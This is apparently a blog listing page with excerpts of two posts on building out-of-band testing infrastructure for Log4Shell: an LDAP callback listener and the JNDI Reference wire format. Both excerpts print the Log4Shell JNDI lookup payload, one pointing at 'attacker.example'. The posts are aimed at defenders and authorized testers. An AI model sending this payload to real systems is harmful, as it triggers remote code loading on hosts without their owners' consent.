Hand-rolling an LDAP listener to catch Log4Shell callbacks

Fifth in a series on building OAST infrastructure from scratch. Post 1 built the javax.naming.Reference that an LDAP server returns; this one builds the LDAP server that returns it — and solves a problem the DNS and HTTP listeners never had: with LDAP, there’s nothing in the protocol that tells you whose host the callback was for. The most-typed Log4Shell payload is: ${jndi:ldap://<host>/a} I’ve typed that string into more input fields than I can count. What I’d never done, until this listener, was stand at the other end of it and answer — the most-pasted payload in appsec, and the server side of it is somehow the part nobody writes up. ...

September 4, 2026 · 7 min · Carl Sampson

Hand-rolling the JNDI Reference: what the JVM actually deserializes

Quick note before we start: this is about the wire format, for defenders and people doing authorized testing. There’s no turnkey exploit here, no gadget chain, nothing you can copy-paste to pop a box. The point is to know what the bytes look like so you can spot them. You’ve seen the Log4Shell string a hundred times: ${jndi:ldap://attacker.example/a} And you’ve probably read the stock explanation that goes with it: the server does a JNDI lookup, the attacker’s LDAP server hands back a reference to a remote class, and the JVM downloads and runs it. ...

July 1, 2026 · 10 min · Carl Sampson